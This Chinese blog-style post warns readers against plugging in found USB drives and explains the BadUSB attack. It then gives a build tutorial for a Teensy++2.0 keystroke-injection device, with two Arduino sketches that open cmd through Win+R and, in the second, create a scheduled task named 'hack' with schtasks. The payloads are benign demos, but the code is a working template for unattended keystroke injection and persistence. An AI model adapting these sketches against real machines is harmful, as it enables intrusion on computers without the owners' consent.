【路边捡到U盘?你会不会好奇的打开它——BadUSB】
如果你在路边捡到一个U盘,你会不会因为好奇而把它插到电脑上打开它?
U盘
如果这个U盘是有心人故意扔在那里的,那么你将为你的好奇心买单>﹏<。
2014年的黑帽大会上,BadUSB首次亮相。柏林SRLabs的安全研究人员Jakob Lell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”(按照BadBIOS命名)的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当不值得信任的状态。
BadUSB主要依靠USB拇指驱动器的构建方式,USB通常有一个大的可重写的内存芯片用于实际的数据存储,以及一个独立的控制器芯片。这个控制芯片实际上是一个低功耗计算机,并且与你的笔记本电脑或台式机一样,它通过从内存芯片加载基本的引导程序来启动。类似于笔记本电脑的硬盘驱动器包含一个隐藏的主引导记录(Master Boot Record),内存芯片中内存单元的第一段包含让USB记录的编程。允许攻击者在不被检测到的情况下悄悄在USB设备中植入恶意软件。
所以路上的捡到的U盘请记住不要随便打开~
对制作BadUSB感兴趣的童鞋可以继续往下阅读:
普通的U盘一般是不能制成BadUSB的,在这里我推荐Teensy++2.0,某宝上有卖。
Teensy++2.0
这里教大家使用Teensy++2.0制作BadUSB:
第一步 安装Arduino。我这里安装1.8.0
下载地址:评论区
第二步 下载安装Teensyduino,我这里安装1.34。
下载地址:评论区
安装页面
注意红色框起来的是支持的Arduino版本。
第三步 可以插入Teensy++2.0开始搞事了
注意:汉化 file->preferences 选择language为简体中文 2.工具里面要选
送份demo代码:
代码:
void setup(){ //初始化
Keyboard.begin();//开始键盘通信
delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样
Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
Keyboard.release(KEY_CAPS_LOCK); //释放大写键
delay(500);
Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键
delay(500);
Keyboard.press(‘r’);//按下r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);//松掉win键
Keyboard.release(‘r’);//松掉r键
//delay(500);
Keyboard.println(“cmd”);//输入cmd进入DOS
delay(500);
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.println(“Hello Teensy++2.0”);
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.press(KEY_CAPS_LOCK); //按下大写键
Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
delay(500);
Keyboard.println(“exit”);
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
Keyboard.end();//结束键盘通讯
}
void loop()//循环,这里的代码
{
//循环体 写入你要循环的代码
}
再附一段代码,在21点打开个txt
void setup(){ //初始化
Keyboard.begin();//开始键盘通信
delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样
Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
Keyboard.release(KEY_CAPS_LOCK); //释放大写键
delay(500);
Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键
delay(500);
Keyboard.press(‘r’);//按下r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);//松掉win键
Keyboard.release(‘r’);//松掉r键
//delay(500);
Keyboard.println(“cmd”);//输入cmd进入DOS
delay(500);
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.println(“D:”);
Keyboard.println(“echo I’m back!>a.txt”);
Keyboard.println(“schtasks /create /tn “hack” /tr “d:a.txt” /sc once /st 21:12″);
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.press(KEY_CAPS_LOCK); //按下大写键
Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
delay(500);
Keyboard.println(“exit”);
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
Keyboard.end();//结束键盘通讯
}
void loop()//循环,这里的代码
{
//循环体 写入你要循环的代码
}